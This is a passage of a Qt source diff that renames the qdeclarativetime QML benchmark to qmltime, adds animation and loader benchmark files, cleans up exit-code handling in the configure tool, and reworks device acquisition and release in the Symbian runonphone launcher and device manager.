b/tests/benchmarks/declarative/qmltime/qmltime.pro @@ -1,10 +1,10 @@ load(qttest_p4) TEMPLATE = app -TARGET = qdeclarativetime +TARGET = qmltime QT += declarative macx:CONFIG -= app_bundle -SOURCES += qdeclarativetime.cpp +SOURCES += qmltime.cpp symbian* { TARGET.CAPABILITY = "All -TCB" diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/empty.qml b/tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml index 8d93594..31c879b 100644 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/empty.qml +++ b/tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml @@ -1,9 +1,9 @@ import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime +import QmlTime 1.0 as QmlTime Item { - QDeclarativeTime.Timer { + QmlTime.Timer { component: Component { Item { Item { diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/fill.qml b/tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml index 918c48a..23fe78e 100644 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/fill.qml +++ b/tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml @@ -1,9 +1,9 @@ import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime +import QmlTime 1.0 as QmlTime Item { - QDeclarativeTime.Timer { + QmlTime.Timer { component: Component { Item { Item { diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/null.qml b/tests/benchmarks/declarative/qmltime/tests/anchors/null.qml index bb84538..bc447ef 100644 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/null.qml +++ b/tests/benchmarks/declarative/qmltime/tests/anchors/null.qml @@ -1,9 +1,9 @@ import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime +import QmlTime 1.0 as QmlTime Item { - QDeclarativeTime.Timer { + QmlTime.Timer { component: Component { Item { Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/animation/large.qml b/tests/benchmarks/declarative/qmltime/tests/animation/large.qml new file mode 100644 index 0000000..c1cdb68 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/animation/large.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + ParallelAnimation { + NumberAnimation { duration: 500 } + NumberAnimation { duration: 4000; } + NumberAnimation { duration: 2000; easing.type: "OutBack"} + ColorAnimation { duration: 3000} + SequentialAnimation { + PauseAnimation { duration: 1000 } + ScriptAction { script: doSomething(); } + PauseAnimation { duration: 800 } + ScriptAction { script: doSomethingElse(); } + PauseAnimation { duration: 800 } + ParallelAnimation { + NumberAnimation { duration: 200;} + SequentialAnimation { + PauseAnimation { duration: 200} + ParallelAnimation { + NumberAnimation { duration: 300;} + NumberAnimation { duration: 300;} + } + NumberAnimation { from: 0; to: 1; duration: 500 } + PauseAnimation { duration: 200 } + NumberAnimation { from: 1; to: 0; duration: 500 } + } + SequentialAnimation { + PauseAnimation { duration: 150} + NumberAnimation { duration: 300; easing.type: "OutBounce" } + } + } + } + } + } + } + +} diff --git a/tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml b/tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml new file mode 100644 index 0000000..3db9f08 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + ParallelAnimation { + NumberAnimation { } + NumberAnimation { } + NumberAnimation { } + ColorAnimation { } + SequentialAnimation { + PauseAnimation { } + ScriptAction { } + PauseAnimation { } + ScriptAction { } + PauseAnimation { } + ParallelAnimation { + NumberAnimation { } + SequentialAnimation { + PauseAnimation { } + ParallelAnimation { + NumberAnimation { } + NumberAnimation { } + } + NumberAnimation { } + PauseAnimation { } + NumberAnimation { } + } + SequentialAnimation { + PauseAnimation { } + NumberAnimation { } + } + } + } + } + } + } + +} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/children.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml index 3387a32..996602c 100644 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/children.qml +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml @@ -1,9 +1,9 @@ import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime +import QmlTime 1.0 as QmlTime Item { - QDeclarativeTime.Timer { + QmlTime.Timer { component: Component { Item { children: [ diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/data.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml index a8b653c..9f79c34 100644 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/data.qml +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml @@ -1,9 +1,9 @@ import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime +import QmlTime 1.0 as QmlTime Item { - QDeclarativeTime.Timer { + QmlTime.Timer { component: Component { Item { data: [ diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/no_creation.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml index 0a507d4..f228c2a 100644 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/no_creation.qml +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml @@ -1,9 +1,9 @@ import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime +import QmlTime 1.0 as QmlTime Item { - QDeclarativeTime.Timer { + QmlTime.Timer { component: Component { Item { } diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/resources.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml index 227d8ad..335aeb8 100644 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/resources.qml +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml @@ -1,9 +1,9 @@ import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime +import QmlTime 1.0 as QmlTime Item { - QDeclarativeTime.Timer { + QmlTime.Timer { component: Component { Item { resources: [ diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml b/tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml new file mode 100644 index 0000000..6f8d849 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml @@ -0,0 +1,7 @@ +import Qt 4.6 + +Item { + Rectangle {} + Text {} + Image {} +} diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml new file mode 100644 index 0000000..65d5010 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml @@ -0,0 +1,16 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Loader { + sourceComponent: Loaded {} + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml new file mode 100644 index 0000000..2dfe922 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml @@ -0,0 +1,15 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Loader {} + Loaded {} + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml new file mode 100644 index 0000000..1fa0d3b --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml @@ -0,0 +1,14 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Loaded {} + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml new file mode 100644 index 0000000..33bb91c --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml @@ -0,0 +1,16 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Loader { + source: "Loaded.qml" + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/no_positioner.qml b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml index c1f54a4..97bad47 100644 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/no_positioner.qml +++ b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml @@ -1,8 +1,8 @@ import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime +import QmlTime 1.0 as QmlTime Item { - QDeclarativeTime.Timer { + QmlTime.Timer { component: Component { Item { Rectangle { } diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/null_positioner.qml b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml index d49ff78..36dda15 100644 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/null_positioner.qml +++ b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml @@ -1,8 +1,8 @@ import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime +import QmlTime 1.0 as QmlTime Item { - QDeclarativeTime.Timer { + QmlTime.Timer { component: Component { Item { Rectangle { } diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/positioner.qml b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml index 05ca804..396e27d 100644 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/positioner.qml +++ b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml @@ -1,8 +1,8 @@ import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime +import QmlTime 1.0 as QmlTime Item { - QDeclarativeTime.Timer { + QmlTime.Timer { component: Component { Item { Rectangle { } diff --git a/tools/configure/configureapp.cpp b/tools/configure/configureapp.cpp index 0aca545..0b14cba 100644 --- a/tools/configure/configureapp.cpp +++ b/tools/configure/configureapp.cpp @@ -1886,7 +1886,7 @@ bool Configure::findFile( const QString &fileName ) const QString file = fileName.toLower(); const QString pathEnvVar = QString::fromLocal8Bit(getenv("PATH")); const QString mingwPath = dictionary["QMAKESPEC"].endsWith("-g++") ? - findFileInPaths("mingw32-g++.exe", pathEnvVar) : QString(); + findFileInPaths("g++.exe", pathEnvVar) : QString(); QString paths; if (file.endsWith(".h")) { @@ -1978,7 +1978,7 @@ bool Configure::checkAvailability(const QString &part) { bool available = false; if (part == "STYLE_WINDOWSXP") - available = (findFile("uxtheme.h")); + available = findFile("uxtheme.h"); else if (part == "ZLIB") available = findFile("zlib.h"); @@ -3508,14 +3508,15 @@ void Configure::buildQmake() args += makefile; cout << "Creating qmake..." << endl; - int exitCode = 0; - if( exitCode = Environment::execute(args, QStringList(), QStringList()) ) { + int exitCode = Environment::execute(args, QStringList(), QStringList()); + if( exitCode ) { args.clear(); args += dictionary[ "MAKE" ]; args += "-f"; args += makefile; args += "clean"; - if( exitCode = Environment::execute(args, QStringList(), QStringList())) { + exitCode = Environment::execute(args, QStringList(), QStringList()); + if(exitCode) { cout << "Cleaning qmake failed, return code " << exitCode << endl << endl; dictionary[ "DONE" ] = "error"; } else { @@ -3523,7 +3524,8 @@ void Configure::buildQmake() args += dictionary[ "MAKE" ]; args += "-f"; args += makefile; - if (exitCode = Environment::execute(args, QStringList(), QStringList())) { + exitCode = Environment::execute(args, QStringList(), QStringList()); + if (exitCode) { cout << "Building qmake failed, return code " << exitCode << endl << endl; dictionary[ "DONE" ] = "error"; } @@ -3567,8 +3569,8 @@ void Configure::buildHostTools() QDir().mkpath(toolBuildPath); QDir::setCurrent(toolSourcePath); - int exitCode = 0; - if (exitCode = Environment::execute(args, QStringList(), QStringList())) { + int exitCode = Environment::execute(args, QStringList(), QStringList()); + if (exitCode) { cout << "qmake failed, return code " << exitCode << endl << endl; dictionary["DONE"] = "error"; break; @@ -3578,18 +3580,21 @@ void Configure::buildHostTools() args.clear(); args += dictionary["MAKE"]; QDir::setCurrent(toolBuildPath); - if (exitCode = Environment::execute(args, QStringList(), QStringList())) { + exitCode = Environment::execute(args, QStringList(), QStringList()); + if (exitCode) { args.clear(); args += dictionary["MAKE"]; args += "clean"; - if(exitCode = Environment::execute(args, QStringList(), QStringList())) { + exitCode = Environment::execute(args, QStringList(), QStringList()); + if(exitCode) { cout << "Cleaning " << hostToolsDirs.at(i) << " failed, return code " << exitCode << endl << endl; dictionary["DONE"] = "error"; break; } else { args.clear(); args += dictionary["MAKE"]; - if (exitCode = Environment::execute(args, QStringList(), QStringList())) { + exitCode = Environment::execute(args, QStringList(), QStringList()); + if (exitCode) { cout << "Building " << hostToolsDirs.at(i) << " failed, return code " << exitCode << endl << endl; dictionary["DONE"] = "error"; break; diff --git a/tools/configure/environment.cpp b/tools/configure/environment.cpp index e93f9a0..74bebb2 100644 --- a/tools/configure/environment.cpp +++ b/tools/configure/environment.cpp @@ -357,7 +357,7 @@ int Environment::execute(QStringList arguments, const QStringList &additionalEnv QString args = qt_create_commandline(program, arguments); QByteArray envlist = qt_create_environment(fullEnv); - DWORD exitCode = -1; + DWORD exitCode = DWORD(-1); PROCESS_INFORMATION procInfo; memset(&procInfo, 0, sizeof(procInfo)); @@ -378,7 +378,7 @@ int Environment::execute(QStringList arguments, const QStringList &additionalEnv } - if (exitCode == -1) { + if (exitCode == DWORD(-1)) { switch(GetLastError()) { case E2BIG: cerr << "execute: Argument list exceeds 1024 bytes" << endl; diff --git a/tools/runonphone/main.cpp b/tools/runonphone/main.cpp index af08777..80e5e34 100644 --- a/tools/runonphone/main.cpp +++ b/tools/runonphone/main.cpp @@ -44,6 +44,7 @@ #include <QStringList> #include <QScopedPointer> #include <QTimer> +#include <QFileInfo> #include "symbianutils/trkutils.h" #include "symbianutils/trkdevice.h" #include "symbianutils/launcher.h" @@ -51,9 +52,9 @@ #include "trksignalhandler.h" #include "serenum.h" -void printUsage(QTextStream& outstream) +void printUsage(QTextStream& outstream, QString exeName) { - outstream << "runtest [options] <program> [program arguments]" << endl + outstream << exeName << " [options] [program] [program arguments]" << endl << "-s, --sis <file> specify sis file to install" << endl << "-p, --portname <COMx> specify COM port to use by device name" << endl << "-f, --portfriendlyname <substring> specify COM port to use by friendly name" << endl @@ -61,7 +62,9 @@ void printUsage(QTextStream& outstream) << "-v, --verbose show debugging output" << endl << "-q, --quiet hide progress messages" << endl << endl - << "USB COM ports can usually be autodetected" << endl; + << "USB COM ports can usually be autodetected, use -p or -f to force a specific port." << endl + << "If using System TRK, it is possible to copy the program directly to sys/bin on the phone." << endl + << "-s can be used with both System and Application TRK to install the program" << endl; } int main(int argc, char *argv[]) @@ -86,22 +89,22 @@ int main(int argc, char *argv[]) return 1; } QString param = args.at(i+1); - if(arg.compare("--portname", Qt::CaseSensitive) == 0 + if (arg.compare("--portname", Qt::CaseSensitive) == 0 || arg.compare("-p", Qt::CaseSensitive) == 0) { serialPortName = param; i++; } - else if(arg.compare("--portfriendlyname", Qt::CaseSensitive) == 0 + else if (arg.compare("--portfriendlyname", Qt::CaseSensitive) == 0 || arg.compare("-f", Qt::CaseSensitive) == 0) { serialPortFriendlyName = param; i++; } - else if(arg.compare("--sis", Qt::CaseSensitive) == 0 + else if (arg.compare("--sis", Qt::CaseSensitive) == 0 || arg.compare("-s", Qt::CaseSensitive) == 0) { sisFile = param; i++; } - else if(arg.compare("--timeout", Qt::CaseSensitive) == 0 + else if (arg.compare("--timeout", Qt::CaseSensitive) == 0 || arg.compare("-t", Qt::CaseSensitive) == 0) { bool ok; timeout = param.toInt(&ok); @@ -111,10 +114,10 @@ int main(int argc, char *argv[]) } i++; } - else if(arg.compare("--verbose", Qt::CaseSensitive) == 0 + else if (arg.compare("--verbose", Qt::CaseSensitive) == 0 || arg.compare("-v", Qt::CaseSensitive) == 0) loglevel=2; - else if(arg.compare("--quiet", Qt::CaseSensitive) == 0 + else if (arg.compare("--quiet", Qt::CaseSensitive) == 0 || arg.compare("-q", Qt::CaseSensitive) == 0) loglevel=0; else @@ -128,8 +131,8 @@ int main(int argc, char *argv[]) } } - if(exeFile.isEmpty()) { - printUsage(outstream); + if (exeFile.isEmpty() && sisFile.isEmpty()) { + printUsage(outstream, args[0]); return 1; } @@ -161,24 +164,26 @@ int main(int argc, char *argv[]) } QScopedPointer<trk::Launcher> launcher; - - if (sisFile.isEmpty()) { - launcher.reset(new trk::Launcher(trk::Launcher::ActionCopyRun)); - launcher->setCopyFileName(exeFile, QString("c:\\sys\\bin\\") + exeFile); - errstream << "System TRK required to copy EXE, use --sis if using Application TRK" << endl; - } else { - launcher.reset(new trk::Launcher(trk::Launcher::ActionCopyInstallRun)); - launcher->addStartupActions(trk::Launcher::ActionInstall); + launcher.reset(new trk::Launcher(trk::Launcher::ActionPingOnly)); + QFileInfo info(exeFile); + if (!sisFile.isEmpty()) { + launcher->addStartupActions(trk::Launcher::ActionCopyInstall); launcher->setCopyFileName(sisFile, "c:\\data\\testtemp.sis"); launcher->setInstallFileName("c:\\data\\testtemp.sis"); } + else if (info.exists()) { + launcher->addStartupActions(trk::Launcher::ActionCopy); + launcher->setCopyFileName(exeFile, QString("c:\\sys\\bin\\") + info.fileName()); + } + if (!exeFile.isEmpty()) { + launcher->addStartupActions(trk::Launcher::ActionRun); + launcher->setFileName(QString("c:\\sys\\bin\\") + info.fileName()); + launcher->setCommandLineArgs(cmdLine); + } if (loglevel > 0) outstream << "Connecting to target via " << serialPortName << endl; launcher->setTrkServerName(serialPortName); - launcher->setFileName(QString("c:\\sys\\bin\\") + exeFile); - launcher->setCommandLineArgs(cmdLine); - if (loglevel > 1) launcher->setVerbose(1); diff --git a/tools/runonphone/symbianutils/launcher.cpp b/tools/runonphone/symbianutils/launcher.cpp index 408829b..92b494a 100644 --- a/tools/runonphone/symbianutils/launcher.cpp +++ b/tools/runonphone/symbianutils/launcher.cpp @@ -44,6 +44,7 @@ #include "trkutils_p.h" #include "trkdevice.h" #include "bluetoothlistener.h" +#include "symbiandevicemanager.h" #include <QtCore/QTimer> #include <QtCore/QDateTime> @@ -100,12 +101,15 @@ Launcher::Launcher(Actions startupActions, d(new LauncherPrivate(dev)) { d->m_startupActions = startupActions; - connect(d->m_device.data(), SIGNAL(messageReceived(trk::TrkResult)), this, SLOT(handleResult(trk::TrkResult))); - connect(this, SIGNAL(finished()), d->m_device.data(), SLOT(close())); + connect(d->m_device.data(), SIGNAL(messageReceived(trk::TrkResult)), this, SLOT(handleResult(trk::TrkResult))); } Launcher::~Launcher() { + // Destroyed before protocol was through: Close + if (d->m_closeDevice && d->m_device->isOpen()) + d->m_device->close(); + emit destroyed(d->m_device->port()); logMessage("Shutting down.\n"); delete d; } @@ -214,11 +218,6 @@ bool Launcher::startServer(QString *errorMessage) } if (!d->m_device->isOpen() && !d->m_device->open(errorMessage)) return false; - if (d->m_closeDevice) { - connect(this, SIGNAL(finished()), d->m_device.data(), SLOT(close())); - } else { - disconnect(this, SIGNAL(finished()), d->m_device.data(), 0); - } setState(Connecting); // Set up the temporary 'waiting' state if we do not get immediate connection QTimer::singleShot(1000, this, SLOT(slotWaitingForTrk())); @@ -266,6 +265,13 @@ void Launcher::logMessage(const QString &msg) qDebug() << "LAUNCHER: " << qPrintable(msg); } +void Launcher::handleFinished() +{ + if (d->m_closeDevice) + d->m_device->close(); + emit finished(); +} + void Launcher::terminate() { switch (state()) { @@ -287,7 +293,7 @@ void Launcher::terminate() case Connecting: case WaitingForTrk: setState(Disconnected); - emit finished(); + handleFinished(); break; } } @@ -446,7 +452,7 @@ void Launcher::handleTrkVersion(const TrkResult &result) if (result.errorCode() || result.data.size() < 5) { if (d->m_startupActions == ActionPingOnly) { setState(Disconnected); - emit finished(); + handleFinished(); } return; } @@ -455,11 +461,13 @@ void Launcher::handleTrkVersion(const TrkResult &result) d->m_session.trkAppVersion.protocolMajor = result.data.at(3); d->m_session.trkAppVersion.protocolMinor = result.data.at(4); setState(DeviceDescriptionReceived); + const QString msg = deviceDescription(); + emit deviceDescriptionReceived(trkServerName(), msg); // Ping mode: Log & Terminate if (d->m_startupActions == ActionPingOnly) { - qWarning("%s", qPrintable(deviceDescription())); + qWarning("%s", qPrintable(msg)); setState(Disconnected); - emit finished(); + handleFinished(); } } @@ -586,7 +594,7 @@ void Launcher::handleWaitForFinished(const TrkResult &result) { logMessage(" FINISHED: " + stringFromArray(result.data)); setState(Disconnected); - emit finished(); + handleFinished(); } void Launcher::handleSupportMask(const TrkResult &result) @@ -704,18 +712,14 @@ QByteArray Launcher::startProcessMessage(const QString &executable, { // It's not started yet QByteArray ba; - appendShort(&ba, 0, TargetByteOrder); // create new process + appendShort(&ba, 0, TargetByteOrder); // create new process (kDSOSProcessItem) ba.append(char(0)); // options - currently unused - if(arguments.isEmpty()) { - appendString(&ba, executable.toLocal8Bit(), TargetByteOrder); - return ba; - } - // Append full command line as one string (leading length information). - QByteArray commandLineBa; - commandLineBa.append(executable.toLocal8Bit()); - commandLineBa.append('\0'); - commandLineBa.append(arguments.join(QString(QLatin1Char(' '))).toLocal8Bit()); - appendString(&ba, commandLineBa, TargetByteOrder); + // One string consisting of binary terminated by '\0' and arguments terminated by '\0' + QByteArray commandLineBa = executable.toLocal8Bit(); + commandLineBa.append(char(0)); + if (!arguments.isEmpty()) + commandLineBa.append(arguments.join(QString(QLatin1Char(' '))).toLocal8Bit()); + appendString(&ba, commandLineBa, TargetByteOrder, true); return ba; } @@ -737,4 +741,37 @@ void Launcher::resumeProcess(uint pid, uint tid) appendInt(&ba, tid, BigEndian); d->m_device->sendTrkMessage(TrkContinue, TrkCallback(), ba, "CONTINUE"); } + +// Acquire a device from SymbianDeviceManager, return 0 if not available. +Launcher *Launcher::acquireFromDeviceManager(const QString &serverName, + QObject *parent, + QString *errorMessage) +{ + SymbianUtils::SymbianDeviceManager *sdm = SymbianUtils::SymbianDeviceManager::instance(); + const QSharedPointer<trk::TrkDevice> device = sdm->acquireDevice(serverName); + if (device.isNull()) { + *errorMessage = tr("Unable to acquire a device for port '%1'. It appears to be in use.").arg(serverName); + return 0; + } + // Wire release signal. + Launcher *rc = new Launcher(trk::Launcher::ActionPingOnly, device, parent); + connect(rc, SIGNAL(deviceDescriptionReceived(QString,QString)), + sdm, SLOT(setAdditionalInformation(QString,QString))); + connect(rc, SIGNAL(destroyed(QString)), sdm, SLOT(releaseDevice(QString))); + return rc; +} + +// Preliminary release of device, disconnecting the signal. +void Launcher::releaseToDeviceManager(Launcher *launcher) +{ + SymbianUtils::SymbianDeviceManager *sdm = SymbianUtils::SymbianDeviceManager::instance(); + // Disentangle launcher and its device, remove connection from destroyed + launcher->setCloseDevice(false); + TrkDevice *device = launcher->trkDevice().data(); + launcher->disconnect(device); + device->disconnect(launcher); + launcher->disconnect(sdm); + sdm->releaseDevice(launcher->trkServerName()); +} + } // namespace trk diff --git a/tools/runonphone/symbianutils/launcher.h b/tools/runonphone/symbianutils/launcher.h index 2b23fd8..c47285c 100644 --- a/tools/runonphone/symbianutils/launcher.h +++ b/tools/runonphone/symbianutils/launcher.h @@ -97,7 +97,7 @@ public: void setInstallFileName(const QString &name); void setCommandLineArgs(const QStringList &args); bool startServer(QString *errorMessage); - void setVerbose(int v); + void setVerbose(int v); void setSerialFrame(bool b); bool serialFrame() const; // Close device or leave it open @@ -109,6 +109,15 @@ public: // becomes valid after successful execution of ActionPingOnly QString deviceDescription(unsigned verbose = 0u) const; + // Acquire a device from SymbianDeviceManager, return 0 if not available. + // The device will be released on destruction. + static Launcher *acquireFromDeviceManager(const QString &serverName, + QObject *parent, + QString *errorMessage); + // Preliminary release of device, disconnecting the signal. + static void releaseToDeviceManager(Launcher *l); + + // Create Trk message to start a process. static QByteArray startProcessMessage(const QString &executable, const QStringList &arguments); // Parse a TrkNotifyStopped message @@ -119,6 +128,7 @@ public: static QString msgStopped(uint pid, uint tid, uint address, const QString &why); signals: + void deviceDescriptionReceived(const QString &port, const QString &description); void copyingStarted(); void canNotConnect(const QString &errorMessage); void canNotCreateFile(const QString &filename, const QString &errorMessage); @@ -135,6 +145,8 @@ signals: void copyProgress(int percent); void stateChanged(int); void processStopped(uint pc, uint pid, uint tid, const QString& reason); + // Emitted by the destructor, for releasing devices of SymbianDeviceManager by name + void destroyed(const QString &serverName); public slots: void terminate(); @@ -167,6 +179,7 @@ private: void copyFileToRemote(); void installRemotePackageSilently(); void startInferiorIfNeeded(); + void handleFinished(); void logMessage(const QString &msg); void setState(State s); diff --git a/tools/runonphone/symbianutils/symbiandevicemanager.cpp b/tools/runonphone/symbianutils/symbiandevicemanager.cpp index f663816..8877ea1 100644 --- a/tools/runonphone/symbianutils/symbiandevicemanager.cpp +++ b/tools/runonphone/symbianutils/symbiandevicemanager.cpp @@ -40,6 +40,7 @@ ****************************************************************************/ #include "symbiandevicemanager.h" +#include "trkdevice.h" #include <QtCore/QSettings> #include <QtCore/QStringList> @@ -48,6 +49,7 @@ #include <QtCore/QTextStream> #include <QtCore/QSharedData> #include <QtCore/QScopedPointer> +#include <QtCore/QSignalMapper> namespace SymbianUtils { @@ -61,19 +63,51 @@ const char *SymbianDeviceManager::linuxBlueToothDeviceRootC = "/dev/rfcomm"; // ------------- SymbianDevice class SymbianDeviceData : public QSharedData { public: - SymbianDeviceData() : type(SerialPortCommunication) {} + SymbianDeviceData(); + ~SymbianDeviceData(); + + inline bool isOpen() const { return !device.isNull() && device->isOpen(); } + void forcedClose(); QString portName; QString friendlyName; QString deviceDesc; QString manufacturer; + QString additionalInformation; + DeviceCommunicationType type; + QSharedPointer<trk::TrkDevice> device; + bool deviceAcquired; }; +SymbianDeviceData::SymbianDeviceData() : + type(SerialPortCommunication), + deviceAcquired(false) +{ +} + +SymbianDeviceData::~SymbianDeviceData() +{ + forcedClose(); +} + +void SymbianDeviceData::forcedClose() +{ + // Close the device when unplugging. Should devices be in 'acquired' state, + // their owners should hit on write failures. + // Apart from the <shared item> destructor, also called by the devicemanager + // to ensure it also happens if other shared instances are still around. + if (isOpen()) { + if (deviceAcquired) + qWarning("Device on '%s' unplugged while an operation is in progress.", + qPrintable(portName)); + device->close(); + } +} + SymbianDevice::SymbianDevice(SymbianDeviceData *data) : m_data(data) { - } SymbianDevice::SymbianDevice() : @@ -96,6 +130,11 @@ SymbianDevice::~SymbianDevice() { } +void SymbianDevice::forcedClose() +{ + m_data->forcedClose(); +} + QString SymbianDevice::portName() const { return m_data->portName; @@ -106,6 +145,51 @@ QString SymbianDevice::friendlyName() const return m_data->friendlyName; } +QString SymbianDevice::additionalInformation() const +{ + return m_data->additionalInformation; +} + +void SymbianDevice::setAdditionalInformation(const QString &a) +{ + m_data->additionalInformation = a; +} + +SymbianDevice::TrkDevicePtr SymbianDevice::acquireDevice() +{ + if (debug) + qDebug() << "SymbianDevice::acquireDevice" << m_data->portName + << "acquired: " << m_data->deviceAcquired << " open: " << isOpen(); + if (isNull() || m_data->deviceAcquired) + return TrkDevicePtr(); + if (m_data->device.isNull()) { + m_data->device = TrkDevicePtr(new trk::TrkDevice); + m_data->device->setPort(m_data->portName); + m_data->device->setSerialFrame(m_data->type == SerialPortCommunication); + } + m_data->deviceAcquired = true; + return m_data->device; +} + +void SymbianDevice::releaseDevice(TrkDevicePtr *ptr /* = 0 */) +{ + if (debug) + qDebug() << "SymbianDevice::releaseDevice" << m_data->portName + << " open: " << isOpen(); + if (m_data->deviceAcquired) { + if (m_data->device->isOpen()) + m_data->device->clearWriteQueue(); + // Release if a valid pointer was passed in. + if (ptr && !ptr->isNull()) { + ptr->data()->disconnect(); + *ptr = TrkDevicePtr(); + } + m_data->deviceAcquired = false; + } else { + qWarning("Internal error: Attempt to release device that is not acquired."); + } +} + QString SymbianDevice::deviceDesc() const { return m_data->deviceDesc; @@ -123,7 +207,12 @@ DeviceCommunicationType SymbianDevice::type() const bool SymbianDevice::isNull() const { - return !m_data->portName.isEmpty(); + return m_data->portName.isEmpty(); +} + +bool SymbianDevice::isOpen() const +{ + return m_data->isOpen(); } QString SymbianDevice::toString() const @@ -158,7 +247,7 @@ int SymbianDevice::compare(const SymbianDevice &rhs) const return 0; } -QDebug operator<<(QDebug d, const SymbianDevice &cd) +SYMBIANUTILS_EXPORT QDebug operator<<(QDebug d, const SymbianDevice &cd) { d.nospace() << cd.toString(); return d; @@ -166,10 +255,11 @@ QDebug operator<<(QDebug d, const SymbianDevice &cd) // ------------- SymbianDeviceManagerPrivate struct SymbianDeviceManagerPrivate { - SymbianDeviceManagerPrivate() : m_initialized(false) {} + SymbianDeviceManagerPrivate() : m_initialized(false), m_destroyReleaseMapper(0) {} bool m_initialized; SymbianDeviceManager::SymbianDeviceList m_devices; + QSignalMapper *m_destroyReleaseMapper; }; SymbianDeviceManager::SymbianDeviceManager(QObject *parent) : @@ -185,8 +275,7 @@ SymbianDeviceManager::~SymbianDeviceManager() SymbianDeviceManager::SymbianDeviceList SymbianDeviceManager::devices() const { - if (!d->m_initialized) - const_cast<SymbianDeviceManager*>(this)->update(false); + ensureInitialized(); return d->m_devices; } @@ -194,6 +283,7 @@ QString SymbianDeviceManager::toString() const { QString rc; QTextStream str(&rc); + str << d->m_devices.size() << " devices:\n"; const int count = d->m_devices.size(); for (int i = 0; i < count; i++) { str << '#' << i << ' '; @@ -203,13 +293,37 @@ QString SymbianDeviceManager::toString() const return rc; } +int SymbianDeviceManager::findByPortName(const QString &p) const 